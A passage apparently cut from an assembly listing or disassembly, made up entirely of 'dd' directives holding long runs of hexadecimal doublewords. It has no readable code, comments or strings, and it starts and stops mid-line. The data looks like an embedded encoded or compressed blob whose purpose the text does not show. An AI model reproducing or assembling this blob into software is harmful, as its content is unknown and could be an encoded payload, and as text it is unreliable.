2028EC32h, 146C414Bh dd 0A9D82CE8h, 7EFD3513h, 5AB29EDEh, 0ED22A709h, 0DF038742h dd 964D1E1Dh, 24279236h, 2A883391h, 0A2389D2Bh, 8230DE05h dd 2187AF26h, 0F7710630h, 0C7D547C5h, 1BE914CEh, 6DCF176Eh dd 71F50AF5h, 756F2E79h, 24761D21h, 0B10E730Bh, 1033CDD3h dd 0B5B76736h, 3E9B6813h, 0FA89BF10h, 1D7D1CDCh, 0E322A105h dd 0B007F9B7h, 52829060h, 0B28788Dh, 1F58AC30h, 37763434h dd 0FB56AFFCh, 5DFABE9Ah, 420B1C33h, 75011CF7h, 21358103h dd 2A89EC05h, 3E742EABh, 2281F528h, 1239506Fh, 19E9E1DFh dd 7F3C305Bh, 0DD4D4D27h, 6DAD1FA7h, 0E2CC0706h, 0D628DAEEh dd 2D282390h, 2174A22Ch, 0E31F5716h, 6B24AF36h, 8CD4376Ah dd 4C1A973Eh, 0DDCE54F5h, 68A8DD21h, 7CAC0601h, 7978220Dh dd 418F7827h, 6332D249h, 78EF0BBEh, 6A3A38E3h, 5A5E1655h dd 3B9A5591h, 4B500178h, 7726A520h, 4BFDD624h, 3F6E0D27h dd 1916A5BDh, 66343564h, 1BCE7C18h, 3B92B601h, 193D9C3Fh dd 0D9A2F894h, 51512CDCh, 3129E8D1h, 0A0676D2Bh, 0BA46744Dh dd 73B6DD26h, 42D01236h, 1B53D7Eh, 1C5C76D6h, 0A0325FA6h dd 0A8017533h, 67202637h, 2A6F232Dh, 36A51726h, 3D351E3Ah dd 0DC3035BEh, 79342B8Dh, 195F4F27h, 851CF70Ch, 0CDAB0427h dd 68FF47DDh, 35EA4729h, 0D02F5FCEh, 3442DC13h, 6BCE14D5h dd 1EDB3A48h, 18A8A939h, 2F1D88F4h, 262361F9h, 0B626651Ch dd 2B5B6A2Bh, 61982EBCh, 30A23141h, 0A736446Dh, 38AF5D3Bh dd 7F1A7D85h, 0DF14C9E6h, 0BA21A11Eh, 2FA424A6h, 43D14075h dd 79436A77h, 70293000h, 7113B475h, 4B87471h, 7F78E053h dd 5B554A30h, 62BC942Bh, 1047764h, 0E940755Ah, 66A12CEBh dd 9CD8467Eh, 0BEA133F4h, 0B0BBA234h, 0F735AE33h, 384F7B65h dd 69841A01h, 0B42239E1h, 0A4266470h, 6EA32B6Bh, 316DAA2Ch dd 357107B1h, 40367449h, 4A3B1FBAh, 6F951BC2h, 5D6E1FDEh dd 22604D21h, 8D27674Ch, 4B2B6B4Ch, 6D722C6Eh, 32706931h dd 3674619Eh, 773B7B68h, 7D763C7Eh, 5C59B61Ah, 228F601Eh dd 38527E1h, 44A07B0Eh, 220F750Bh, 102C580Bh, 731F463Fh dd 3E66302Dh, 38086766h, 4A1865B4h, 153523E1h, 2C842C92h dd 397927B6h, 3D9D2917h, 0BC445A27h, 31646C42h, 0F8293766h dd 79FB3F4Bh, 9D1A231Ah, 8E250E60h, 1EC5221Bh, 13AA1D68h dd 0F42B11F8h, 0B14F016h dd 340FD10Dh, 5500B55h, 28C0489h, 0A6F943Fh, 2F1C1DBCh dd 79222220h, 0BD16E614h, 2B18BA19h, 1B1D1FEEh, 6550551h dd 450F6634h, 0B4034101h, 6A63D05h, 16DF21DFh, 283E208Ah dd 0A6052163h, 6DE9AD1Bh, 0BA228834h, 1ED9256Dh, 74BF3C73h dd 0FABD7836h, 0B9FB354Fh, 591D26FFh, 21C118F5h, 2472AE26h dd 0C18C7505h, 0A781CBB7h, 0B6132EA8h, 0BB861033h, 0B6B01436h dd 569C19FAh, 245ADEAAh, 5E9C4C4Dh, 51229201h, 2E27992Fh dd 0BDA02ACBh, 0D0351A06h, 85160A86h, 3734260Eh, 48A1BB2h dd 0CCC32BC2h, 116A468Dh, 42CA7798h, 11062396h, 0B952A48h dd 2FAC0215h, 333D38FFh, 475CBB29h, 26C50A1Ch, 2B767817h dd 340DF490h, 3C80724Ah, 2443AEA3h, 7B69346Ch, 0AC7A7D33h dd 70463290h, 78BE2C31h, 543DB53Fh, 1E3FDD81h, 4B1D6BE4h dd 0F571D8Fh, 6BB5A802h, 0C97D095Ah, 0B068A62Ch, 51394B0Fh dd 0D565DB1Ch, 0B0FF3436h, 0F22A1B54h, 29D0520Bh, 0EE149E88h dd 3582CB14h, 0D29613E2h, 481EE384h, 5E02D3Fh, 1FC07FEh dd 0FD5A363Ah, 3B1A490Ch, 3B420BF7h, 9A2BD321h, 2C49BED7h dd 0FC13E022h, 1EE52BE8h, 2ED118E3h, 0FC07FEDFh, 0F835CA01h dd 5190280Dh, 9A283C9Dh, 1FBC841Ah, 70208517h, 0DC2485E5h dd 0DE288C59h, 87C12D8Ah, 3013318Ah, 93EB3593h, 3B986836h dd 3F98EC91h, 0DF1DBA41h, 808C1EBBh, 80904923h, 2889FD27h dd 6C938BFDh, 0B19A8E0Dh, 0D1AD33D1h, 535AA636h, 89EE1FB6h dd 4D4E3EAEh, 0D1C306DDh, 4F2B023Ch, 29463661h, 0A03DAA7Bh dd 0B40F022Ch, 105F12BAh, 0F8CFBD2Dh, 0A38A338h, 0BB04AEF5h dd 31BE941Ah, 0C9312524h, 27081527h, 0F46A0E4h, 2D3BD204h dd 323EC3A0h, 0BBECB93Bh, 2A9D38ACh, 432D9C3Dh, 38F1C9Ah dd 22B133A9h, 0D6F939B7h, 134B933h, 0B15233DAh, 8D2CAF32h dd 0A9353B28h, 0A424A72Ah, 8EF23626h, 20184BDh, 0E93D8B1Dh dd 0BA39BC60h, 5DC0DB3Bh, 30B309DEh, 2CAF32B1h, 0FCB02EADh dd 0BB63EB43h, 2639D809h, 0C49864FEh, 9F8C099Eh, 393D813Fh dd 52398551h, 0CC35955Ah, 45EFAB29h, 3627723Ah, 7A325721h dd 6C2F3A69h, 99A32BC2h, 12C51546h, 8E2C743Dh, 29672864h dd 2A247422h, 0CB683F2Ah, 73AC30Dh, 0F5A8B836h, 0B63A49C1h dd 9F226582h, 3C1EFC14h, 0ED1BC1BDh, 2925F3CBh, 546BAEADh dd 0A3222F58h, 32A12CB9h, 14743960h, 3C685878h, 90B0213Eh dd 1D8CDAC8h, 0C975D095h, 0E5A553E7h, 79230520h, 0B6C4E401h dd 71142ADEh, 41243A46h, 0F1264766h, 0CB7C3B1h, 0CDACB64Dh dd 0A06B6F6Eh, 771874AAh, 280169A8h, 8E6F6825h, 0B914795Eh dd 0DC1ED29Eh, 0BA27F7E7h, 4F9ABCB3h, 0AA4C9FBAh, 90969908h dd 0CBED52D1h, 2356559Ch, 0D26689Bh, 2A62A820h, 81AB808Dh dd 75A8BC34h, 7A33A732h, 7EB8B636h, 68DE2711h, 0CA71B816h dd 0C67F340Ah, 6B14A338h, 0B0A4A876h, 2CB931AEh, 3D24AABBh dd 6BB7B333h, 0E9C26D37h, 9C7585B6h, 0C0B6941Eh, 25C5712Eh dd 0CD7727A7h, 6CA6EEA1h, 31B41EA7h, 1AF73282h, 0BA38381Dh dd 2D2829D6h, 9C3F73B8h, 243B5A7Dh, 200CC204h, 792F2655h dd 7E3B2A69h, 282F6E88h, 64137A41h, 0BE3B7CB5h, 58AB2F73h dd 11595E36h, 9E171C8Ch, 23DD67C1h, 2B273519h, 2F49CBA9h dd 8931112Ch, 0B02E122Ah, 623A35D8h, 2F1E55B3h, 6916D0B9h dd 0D940A6Eh, 7F32E041h, 2AE134A0h, 76687BE4h, 2ED2A90Fh dd 0F9B2355Ah, 0BB6ADFCCh, 2A1D7C97h, 7EBDE708h, 17951A6Fh dd 35981F11h, 0EB1F0562h, 0A24E625Ah, 2CCCC73Fh, 5156792Ah dd 0F6BDDB51h, 0BA38C8CBh, 0FDB837FEh, 2C0D4A61h, 0E40AE14Eh dd 316337A1h, 764BE617h, 0CF3FEF74h, 0A88F3A08h, 386571B0h dd 0BB372CDDh, 6D271F59h, 0F3FB686Eh, 319BF51h, 24BBE1A4h dd 27276C84h, 0AF25E9ADh, 0A42D2D24h, 0DA367C20h, 0F41835F5h dd 0DF3A4980h, 0D63F3D7Fh, 1AE2F063h, 223DECE0h, 0A5D569A8h dd 0C32018E6h, 0B22DB31Ch, 0DB63242Eh, 3C361831h, 3AA2F9B6h dd 2017D538h, 1DF8173Ah, 2D250F12h, 598220Fh, 0B159B431h dd 394C2AD7h, 3DD72BEFh, 0BEE55332h, 0B5C2BCDCh, 0F9BDEECDh dd 3847F1BEh, 62A71E49h, 0AA4122FBh, 29815F66h, 0ED23254Bh dd 522C3FCDh, 0E4C4ED12h, 1C73BF35h, 37FA195Dh, 0F3F37FEh dd 1D9F1E44h, 2260AC40h, 1F276718h, 1F80286Ah, 6D1E2C6Eh dd 32701D31h, 9D37771Ch, 1B3B7B1Ch, 7D223C7Eh, 1F5F041Ah dd 236334B5h, 2A246633h, 68212965h, 0AA29822Ah, 0B077F36Ch dd 3777CC1Dh, 90387AC3h, 0D23C7ECBh, 5FF41A7Dh, 7F50FB1Fh dd 212B129Dh, 93423849h, 2E8A3440h, 2E564C9Dh, 4828E31h dd 56AF97DBh, 3B230A85h, 2DAF3F31h, 993A3F73h, 0F6CC2910h dd 2716994Ch, 0FA1A932Ch, 3E1015CCh, 8EDA038Eh, 828EB304h dd 0D841308h, 9792C72h, 4FE157AAh, 0F323E328h, 230251ADh dd 0E8632B2Bh, 6F0B4D2Dh, 0D88B6034h, 0B9A6D79Eh, 0C697B9F7h dd 61FE0EC3h, 5D903442h, 0A57E3FE0h, 912D4CDCh, 6D78AF7Dh dd 28AC248Bh, 9E59ADFDh, 7818C57Eh, 11A92935h, 0F9393C2Fh dd 6FE3C739h, 23119F73h, 48A62F6Ah, 0A7422774h, 0FF652B78h dd 5CB31B22h, 7FBE3C60h, 9D022533h, 414C3D7Ah, 8957116Fh dd 5219195Ch, 7A91F32Dh, 792506B9h, 2E6F3860h, 0BD2F7F7Ah dd 0EC3003C6h, 3AA62D07h, 5E29CEDAh, 193F709Ch, 161E7D49h dd 43352140h, 27462124h, 2B4A7C5Ch, 162E4D5Fh, 535D3150h dd 5763A234h, 3B5A3438h, 313E5D36h, 4B0C1C7Bh, 4235207Fh dd 26453123h, 0CA1649F5h, 192DAD7Eh, 5227318Fh, 36554433h dd 3A596D3Bh, 1E2F5C33h, 961053B4h, 23129D0Fh, 952523ABh dd 2920E527h, 0ED22192Bh, 1C7F2F7Fh, 303856D5h, 6A183536h dd 2518A7B1h, 4A4E3F4Eh, 383F4907h, 0D614B231h, 0C8BAD12h dd 2D7B0A27h, 622FA1CCh, 28175EB8h, 74619634h, 8A35261Dh dd 253BA720h, 11161988h, 490A2F02h, 0CF748D2Ch, 32E9B99h dd 9F2A2998h, 61FF9534h, 57703B15h, 825134CDh, 73CDE938h dd 0DE0918AEh, 2C562446h, 6A652AB1h, 0C278204Dh, 1A283E4Bh dd 3734243Ah, 26493123h, 0C538BB32h, 3D3D330Bh, 1D1F1B30h dd 21A4F39Fh, 0AE347021h, 0A9A403BAh, 597AF05Bh, 42BD482Eh dd 0DD62641Eh, 35D8768Eh, 317FFC6Ch, 553C1F3Bh, 0DFE3E71Dh dd 0DFB8CA72h, 91D86ED9h, 0DF44FA08h, 63BB0EA0h, 0DC96C121h dd 3636571Fh, 29713A91h, 1AD668A9h, 9B251C0Fh, 224C2521h dd 26F37926h, 292B6D2Ah, 372C2C1Ch, 31330AB2h, 2137D39Eh dd 8F3838F0h, 3E9A3F3Dh, 1FD3B619h, 26A0A24Dh, 46272551h dd 64832A26h, 2F152E2Ah, 3030102Dh, 362C353Dh, 9A38F097h dd 0E3CFC14h, 9C8F337h, 2348105Eh, 0A5542122h, 0E97432D9h dd 8C4B2B0Ch, 0F1813F9Eh, 65666738h, 0DF93396h, 50377A0Ah dd 1C3F13FEh, 2B1C9E19h, 23C321A2h, 3DD8B639h, 2AABF395h dd 308F8220h, 4009F413h, 0EA0DBD0Fh, 63BD103h, 20980542h dd 1FF726D4h, 1F23211Bh, 1BA01939h, 0D816B728h, 4F132610h dd 0EAE310Dh, 0A880898h, 3E3A04D4h, 67007602h, 1E236F25h dd 1C831E8Eh, 18EE1A90h, 30162B27h, 0A7125714h, 9ED9B010h dd 0DE642C51h, 6E1139F9h, 0DF15183Fh, 4A4E2354h, 0D1035BF6h dd 0CD279020h, 28888585h, 7A7C2364h, 0C07EA66Fh, 26342728h dd 1098F695h, 6363FDB1h dd 32A4B65h, 20119F14h, 28497577h, 2A696CDh, 10B562Bh dd 452FABDDh, 206F3221h, 6B663665h, 0C81FAEB4h, 73373D3Dh dd 1F1D2Bh, 0F4DD7772h, 5BE6A0B4h, 5E3D2D11h, 2F1FA9FBh dd 178EB256h, 3536343Ah, 54F3818h, 78BFFD54h, 0CB9F8FF3h dd 9A25619Eh, 26262422h, 152F4167h, 2EF98C43h, 5F31E1B0h dd 0E7F834E6h, 0EFAC6737h, 3EECC73Bh, 341CCE6Eh, 8B20CF12h dd 7224F661h, 0FC1D27F7h, 2DFDAE2Ah, 31E50884h, 2C34E281h dd 0E8D937E3h, 0E837A93Ah, 0CC16303Eh, 0F475E31Dh, 0F51E8821h dd 28F2C925h, 0FBA3FB42h, 329EE5AEh, 86AFBB11h, 4FDF1A37h dd 39FD3989h, 193AFE69h, 0D1952D4Eh, 263106C8h, 761AA2C5h dd 0BB7F7B44h, 7BB95D28h, 27E333C0h, 32073837h, 1A150815h dd 0C06E150Dh, 0DE9818CEh, 0B62E2537h, 32360067h, 0C4C108CFh dd 0AD2E9CBAh, 77E702E9h, 32878ADCh, 89ACD96Ch, 3A8D4F3Fh dd 0C8280CDFh, 0FB5F235Bh, 2A339C67h, 21282826h, 0DD3C1A2Ah dd 0C013F13Eh, 0B4248022h, 1E381BDAh, 0B62C6D69h, 9C5F1B8Ah dd 0D994491Dh, 5A7DAF21h, 0A37169A8h, 4CFF1F6Dh, 8490796Dh dd 24B03040h, 0F804C9FCh, 0CE2B27E9h, 0CAC85693h, 4E1F2E55h dd 23C02060h, 35A85A9h, 0FEFB023Ch, 2EEC452Ch, 61E33210h dd 54E6E3CBh, 4F16F9BDh, 2D3A151Ah, 1C3E4D19h, 0CA35EB94h dd 2627A48Bh, 2A283826h, 591D4429h, 3101B31Fh, 83044002h dd 0E908F406h, 0D30CDB0Ah, 1A2E1A0Eh, 3E120A2Ch, 6C161B10h dd 0A1B3C14h, 791F6C19h, 41034B1Dh, 0C807BD01h, 330C3305h dd 1C082B0Eh, 582F170Ah, 562B4D29h, 24738215h, 23181776h dd 0FFC95FE9h, 3C2F9E6Ch, 0C5C4E002h, 0F93F3645h, 0FF93A69h dd 0EB6FD5EFh, 1A2B9D4Eh, 722E0040h, 0F6CFF425h, 0C12AF8F3h dd 0E625F5FDh, 33C5C545h, 0C0FEBEC7h, 0AA2E1D5Ch, 2F3E7DBDh dd 106FCD18h, 13206024h, 1C1D1615h, 13121A10h, 19171F18h dd 0B000B1Dh, 10F0305h, 90E0305h, 0C0A060Fh, 28252D04h dd 1A122824h, 151C1013h, 121A101Ch, 171E1212h, 40B1D19h dd 20E070Bh, 0B090C04h, 0A060A03h, 252A040Ch, 17252C24h dd 1D171913h, 1A101C12h, 1C1B1B12h, 2181418h, 0E04070Ah dd 0D0C0402h, 0B01080Fh, 280E050Fh, 28242925h, 1A131A12h dd 101C1317h, 1A1B121Ah, 18141F1Fh, 5000A02h, 5010F0Dh dd 0B0B0A03h, 40C0A06h, 2425282Ah, 151A1228h, 111F1714h dd 1F181315h, 19171F1Dh, 7000B1Dh, 10F040Ah, 3000305h dd 0C0A060Ah, 272E2304h, 191B2D29h, 121E1610h, 1E191C14h dd 1A161E1Fh, 508141Ch, 7030905h, 9000Dh, 60E0C00h, 282A0D0Fh dd 1B2D2927h, 1E101114h, 1E1C1412h, 1B11191Bh, 71E151Fh dd 3090B08h, 8060D07h, 0B010F01h, 2A0E050Fh, 28242D2Ch dd 14131A12h, 101C1510h, 1C1E121Ah, 1D191715h, 504090Bh dd 0C04020Eh, 0C0F0B09h, 40C0A06h, 2F2E282Ah, 19131725h dd 11121612h, 111B1F1Dh, 141A1A13h, 0B0A0218h, 4020E0Ah dd 30B0E0Ch, 50F0B01h, 2A282A0Eh, 1A122824h, 12161613h dd 121A101Ch, 1714181Ch, 0B1D19h, 0F020105h, 30501h, 0A06080Fh dd 242A040Ch, 1725272Ah, 10121913h, 1F1D1E1Dh, 1918111Bh dd 2181418h, 101030Ah, 0A000C03h, 0C0F0C02h, 200D0907h dd 26292B2Dh, 1810161Ah, 1D1E1215h, 1A111B1Fh, 151D1F1Ah dd 4090307h, 0C0703h, 0E0F020Ah, 0D090708h, 2F2C2D20h dd 10161A2Fh, 14171D18h, 111B1F1Dh, 1414181Dh, 30A0218h dd 0C020D06h, 0B020A00h, 4040C0Ah, 28272908h, 161A2E28h dd 12171810h, 121A101Ch, 1C1A1A1Bh, 0A021814h, 10D0703h dd 20A000Ch, 0A080B0Bh, 27290804h, 1A2B2824h, 17181016h dd 1F1D1E15h, 1A1A111Bh, 2181418h, 3010B0Ah, 305010Fh dd 60C030Bh, 2A040C0Ah, 252C2428h, 11191317h, 101C1D14h dd 1D1B121Ah, 18141D18h, 4030A02h, 0C0605h, 0B0B020Ah dd 8040E0Dh, 24242729h, 111A1228h, 111F1112h, 12181315h dd 1C1A1613h, 10414h, 0D070309h, 20F0A06h, 50F0B01h, 2B2E2B0Eh dd 1A122824h, 1F111510h, 1B131511h, 1A16131Eh, 9141Ch dd 7030903h, 0B00010Dh, 60E0C00h, 2629060Bh, 14242C2Ah dd 13191716h, 1F161D17h, 1B111C18h, 51A151Fh, 0F01050Bh dd 1030104h, 7090D03h, 2A0E0D0Ch, 242C2A26h, 1A111111h dd 1C14121Eh, 111B1B11h, 1E151F1Bh, 9020006h, 60D0703h dd 10C0B0Dh, 7050F0Bh, 2C2A2628h, 14141624h, 1D171319h dd 1D131D15h, 19141719h, 60A19h, 50C0308h, 10B0F0Dh, 40A0908h dd 2C272908h, 1B152D2Dh, 141F1115h, 131D141Eh, 1817191Dh dd 60A181Eh, 50D0800h, 0B0F0D01h, 0E0A0E01h, 27290804h dd 1A2A2B28h, 15181016h, 12101E12h, 1910181Eh, 715181Bh dd 60A0903h, 0A000C01h, 40D0B02h, 29080409h, 292C2E27h dd 1810161Ah, 1D111510h, 1F111B1Fh, 18141E18h, 1010A02h dd 0C04020Eh, 0D0C0F09h, 40C0A06h, 2E2B2E2Ah, 19131725h dd 111F131Ah, 1A181315h, 19171819h, 3000B1Dh, 10F0606h dd 0C080305h, 907040Bh, 2B2D200Dh, 161A2C29h, 17151810h dd 1E121417h, 1F1E1018h, 307151Eh, 4000209h, 20A000Ch dd 7040C08h, 2D200D09h, 17252E2Fh, 17101913h, 1A101C17h dd 1B1D1C12h, 0B1D1917h, 0E0A0408h, 90C0402h, 60B0F0Bh dd 23040C0Ah, 2824242Fh, 14131A12h, 101C101Dh, 1F1B121Ah dd 18141A15h, 0A030A02h, 5010F04h, 0E0B0803h, 0D090705h dd 242E2520h, 131A1228h, 1C13141Ah, 1B121A10h, 141A191Eh dd 30A0218h, 0C040C01h, 0B020A00h, 40B0E0Ah, 2A272908h dd 161A2F27h, 13151810h, 1E121F1Eh, 1F1D1018h, 60A1A1Fh dd 70C0800h, 0B0F0D01h, 0B0F0A01h, 2E2C050Bh, 192F2F26h dd 1F11151Bh, 121E1011h, 1D10181Eh, 0A1D1A18h, 7080006h dd 0F0D0206h, 0C09010Bh, 2C050D0Fh, 2D2F262Eh, 14181012h dd 1F171E16h, 1C101A11h, 161F161Eh, 4080106h, 0E0E06h dd 90D030Ah, 80E0C07h, 2C2A262Fh, 14121924h, 1D171319h dd 1D191D16h, 151F1B11h, 808021Ch, 70E0604h, 90006h, 0F060E0Ch dd 272F2208h, 101B2D29h, 1F171412h, 1C131511h, 1A161B1Ch dd 703141Ch, 7030905h, 0B0A060Dh, 0F0B0109h, 292E0E05h dd 1B2D2927h, 17101610h, 1315111Fh, 1B111E1Ah, 817151Fh dd 6040804h, 906070Eh, 0E0C000Bh, 2F0A0F06h, 2D292728h dd 1112141Bh, 1C14121Eh, 18191F19h, 141C1A16h, 3060201h dd 0C04020Eh, 0B0F0809h, 40C0A06h, 242E2C2Ah, 131A1228h dd 1C101313h, 1B121A10h, 141D1912h, 0A0218h, 10F0204h dd 8080305h, 9070C0Fh, 252D200Dh, 161A2C2Eh, 11131810h dd 1B1F1D13h, 1E1E1311h, 0A021814h, 0F020301h, 0E030501h dd 0A060903h, 2428040Ch, 1228242Bh, 1112131Ah, 1A101C13h dd 1F1B1B12h, 2181415h, 6030A0Ah, 305010Fh, 60C0D08h, 2A040C0Ah dd 252B2929h, 12191317h, 1D121712h, 19111B1Fh, 1814141Dh dd 1060A02h, 5010F0Ch, 0F0D0803h, 0D090704h, 2E2D2D20h dd 10161A2Dh, 13151218h, 111B1F1Dh, 18151D1Ah, 9030715h dd 0C05050Bh, 0C020A00h, 9070E0Ah, 2B2D200Dh, 1317252Ah dd 12131019h dd 121A101Ch, 17151B12h, 70B1D19h, 20E0601h, 8000C04h dd 0F0B0103h, 2A2C0E05h, 1B2D2927h, 1E161A10h, 191C1412h dd 161F1919h, 1141C1Ah, 3090404h, 8050D07h, 0B010D08h dd 2D0E050Fh, 28242F28h, 17141A12h, 15111F11h, 1B1C1813h dd 1D19171Bh, 30B000Bh, 5010F04h, 30A0C03h, 40C0A06h, 2F2F292Ah dd 19131725h, 111F1716h, 1D181315h, 1C1A1619h, 8080214h dd 0E0604h, 0D030007h, 0D040709h, 2F2B2107h, 13122E25h dd 17131915h, 181D151Dh, 161E1C10h, 71B1Fh, 0E060408h dd 0F0D0F07h, 60E0C00h, 2E220C0Fh, 1B2D2927h, 171B1A10h dd 1315111Fh, 1A131818h, 0B1D1917h, 5020400h, 305010Fh dd 0F080D08h, 200D0907h, 252C282Fh, 12191317h, 1D131510h dd 13111B1Fh, 18141519h, 0A0B0A02h, 5010F06h, 30D0803h dd 0D09070Eh, 26282920h, 19131725h, 111D1412h, 111B1F1Dh dd 1C1F181Ah, 9030715h, 0C0D0D04h, 0E020A00h, 9070A0Ah dd 2824200Dh, 1317252Eh, 11141219h, 1B1F1D16h, 141C1A11h dd 3071517h, 70D0209h, 0B0F0D06h, 40A0A01h, 2E2C0507h dd 112B2F26h, 16141813h, 1814171Eh, 1E1C101Fh, 191C16h dd 0F01050Bh, 0E020004h, 7090D03h, 2D0F0C0Ch, 242C2A26h dd 191B1815h, 161D1713h, 111B101Fh, 1E151F1Bh, 9020601h dd 60D0703h, 10B0C0Dh, 0E050F0Bh, 242B2C2Ch, 131A1228h dd 1C131311h, 1D121A10h, 19171C1Eh, 7000B1Dh, 10F0C04h dd 0A0C0305h, 0C0A0602h, 292A2A04h, 13172526h, 10111219h dd 1B1F1D12h, 1A1D1A11h, 307151Dh, 4010209h, 0B0F0D03h dd 0E090A01h, 2E2C0509h, 11292F26h, 1F11151Bh, 1213111Dh dd 1E10181Eh, 7151E1Dh, 3010903h, 0A000C04h, 0C0F0B02h dd 2908040Bh, 2E2C2C27h, 11151B10h, 1712161Fh, 10181E12h dd 19181E1Dh, 800060Ah, 0D05h, 80E02h, 50C0B0Bh, 2D262E2Ch dd 151B1027h, 141D1F11h, 181E121Fh, 1D191D10h, 60A1Bh dd 60508h, 80E020Fh, 0B0B0500h, 262E2C05h, 13112C2Fh, 1E161418h dd 1A1D1217h, 161E1C10h, 0B02171Ch, 0D0F0105h, 0E02000Eh dd 0F0D0008h, 2E2C050Dh, 12282F26h, 16141818h, 1B15171Eh dd 1E1C1011h, 91F1F16h, 6040807h, 0D070E0Eh, 7090D03h dd 21080B0Ah, 29252F2Bh, 14181914h, 15171E16h, 1C101E1Bh dd 1D1B161Eh, 1050B03h, 202040Fh, 90D0300h, 0F0C0C07h dd 2C2A262Bh, 11191724h, 1D171319h, 131E1B16h, 151F1B11h dd 700081Eh, 0D070309h, 0B090A06h, 50F0B01h, 2F2D220Eh dd 1A122824h, 121E1515h, 19191C14h, 1A161913h, 801141Ch dd 7030903h, 0A0F060Dh, 0F0B010Ah, 2D2C0605h, 1B2D2927h dd 1D1A1310h, 1315111Fh, 1B1C1A18h, 0B1D1917h, 1030100h dd 305010Fh, 60A0B0Ah, 29040C0Ah, 2824242Ch, 1B1A1A12h dd 15111F10h, 191B1A13h, 141C1A16h, 30A0901h, 0C04020Eh dd 10D000Dh, 0B050F0Bh, 2C2A2623h, 14141124h, 14121E15h dd 1F1E1A1Ch, 151F1B11h, 302061Eh, 0D070309h, 0D0C0106h dd 50F0B01h, 27282C08h, 191B2D29h, 121E1516h, 1D191C14h dd 1A161D13h, 602141Ch, 7030900h, 0F0D060Dh, 0F0B0103h dd 2F220E05h, 1228242Eh, 1114151Ah, 1315111Fh, 1E1E1918h dd 0B1D1917h, 0C000500h, 305010Fh, 6030E0Eh, 28040C0Ah dd 28242B29h, 17171A12h, 15111F11h, 1F131813h, 1D19171Bh dd 0B04020Bh, 0C04020Eh, 10C0B00h, 8050F0Bh, 252F2B21h dd 1717162Eh, 1D171319h, 18181016h, 151F1B11h, 608081Eh dd 0D070309h, 0E0106h, 0C060E0Ch, 2A262F0Dh, 1516242Ch dd 17131911h, 1319121Dh, 1917191Dh, 307151Ah, 0F0C0009h dd 8030501h, 70D0A03h, 2D200D09h, 1A29272Ah, 15181016h dd 12131014h, 1D10181Eh, 0A161C15h, 0C080006h, 0F0D0505h dd 902010Bh, 2908040Ah, 2A282C27h, 11151B19h, 111E101Fh dd 10181E12h, 151B1F1Eh, 2090307h, 0D070307h, 0A010B0Fh dd 50F0D0Dh, 2F262E2Ch, 1817192Eh, 121E1614h, 1D131C16h dd 181F1719h, 60A18h, 70508h, 10B0F0Dh, 6080C0Ah, 262E2C05h dd 12182A2Fh, 1E161418h, 18101317h, 161E1C10h, 505181Fh dd 0E060408h, 0B0C0F07h, 60E0C00h, 262B0809h, 17242C2Ah dd 13191213h, 19101D17h, 1E1C101Bh, 4171A16h, 0F01050Bh dd 2040204h, 0D00080Eh, 2108060Eh, 2E252F2Bh, 191A1714h dd 111D1713h, 1C101B11h, 181F161Eh, 4080604h, 30E06h, 90D0308h dd 0D060507h, 252F2B21h, 1313132Eh, 1D171319h, 121C1F16h dd 151F1B11h, 804061Ch, 70E0604h, 0D030E07h, 80C0709h dd 2A262E0Bh, 1613242Ch, 17131913h, 1B1D161Dh, 161E1C10h dd 61A1Fh, 0E060408h, 90B0E07h, 60E0C00h, 262F0B08h, 16242C2Ah dd 13191415h, 1B161D17h, 1B111210h, 51E151Fh, 3090507h dd 0B060D07h, 0B010F0Ch, 220E050Fh, 2824282Eh, 10111A12h dd 15111F11h, 1B1A1813h, 1D191718h, 0A00000Bh, 5010F06h dd 30E0D03h, 40C0A06h, 262B2A2Ah, 19131725h, 1C1C1212h dd 1B121A10h, 1917141Bh, 3000B1Dh, 10F0C06h, 8080305h dd 907080Bh, 282D200Dh, 161A2B28h, 1D151810h, 1E121014h dd 14191018h, 3071518h, 0C020009h, 20A000Ch, 0A040E0Bh dd 27290804h, 112E262Ch, 1F11151Bh, 1B161514h, 17191D13h dd 11C1B1Ch, 0F01050Bh, 80F0004h, 7090D03h, 2108060Eh dd 26252F2Bh, 14181910h, 17171E16h, 1C101B1Eh, 1C1A161Eh dd 1050B09h, 107000Fh, 80E02h, 50E0808h, 2F262E2Ch, 1810112Bh dd 101E1614h, 1D131C17h, 161C1719h, 50B051Bh, 6040F01h dd 0D030C06h, 90C0709h, 2A262D07h, 1512242Ch, 17131912h dd 181F161Dh, 1F1B111Eh, 6051E15h, 703090Bh, 0E08050Dh dd 60E0C00h, 2E2E0A0Fh, 1B2D2927h, 1E121719h, 191C1412h dd 16131E18h, 1141C1Ah, 0E020506h, 90C0402h, 60B0209h dd 2A040C0Ah, 25272C24h, 12191317h, 1D111713h, 13111B1Fh dd 18141D1Bh, 0B050A02h, 5010F06h, 90E0D03h, 40C0A06h dd 29272C2Fh, 1B131B2Dh, 14121E13h, 121E191Ch, 1C1A1618h dd 5060114h, 4020E0Bh, 0D0B0E0Ch, 50F0B01h, 272F2C0Eh dd 101B2D29h, 1F1C1111h, 1B131511h, 1A161B12h, 301141Ch dd 20E0705h, 1090C04h, 0A06090Ch, 2A2A040Ch, 1228242Dh dd 1416131Ah, 1A101C13h, 1B121B12h, 2181418h, 40A030Ah dd 0A000C01h, 0C090B02h, 2908040Fh, 2E2D2E27h, 1810161Ah dd 12141515h, 10181E12h, 17161A1Dh, 800060Ah, 0D02050Ch dd 0A010B0Fh, 5070E04h, 28262E2Ch, 151B162Fh, 1F131F11h dd 181E121Fh, 18191D10h, 60A1Bh, 0E060008h, 10B0F0Dh, 4090A08h dd 2C272908h, 1B11272Dh, 141F1115h, 131D151Eh, 1817191Dh dd 60A1919h, 4050800h, 0E020506h, 0F0D0008h, 2B21060Ch dd 1026252Fh, 16141812h, 1114171Eh, 1E1C1018h, 3191F16h dd 6040801h, 104070Eh, 0E0C0000h, 290A0706h, 242C2A26h dd 1B151211h, 1C14121Eh, 111A1B10h, 1E151F1Bh, 9010700h dd 0E0D0703h, 0C00090Ah, 0B0F060Eh, 29272F23h, 17101B2Dh dd 111F1712h, 1A181315h, 1C1A1619h, 0B070714h dd 0D070309h, 0A0B0806h, 50F0B01h, 2729280Ah, 101B2D29h dd 1F171717h, 18131511h, 171A131Fh, 0B1D19h, 0F0D0B01h dd 1030501h, 0A060F0Ch, 282A040Ch, 17252E2Dh, 1C121913h dd 1F1D1712h, 1C1A111Bh, 7151818h, 1000903h, 305010Fh dd 0F0F0E08h, 200D0907h, 252E2A28h, 11191317h, 101C111Dh dd 191D121Ah, 1D191719h, 0A04000Bh, 5010F01h, 8080803h dd 0D09070Ch, 2A2D2B20h, 19131725h, 1C161210h, 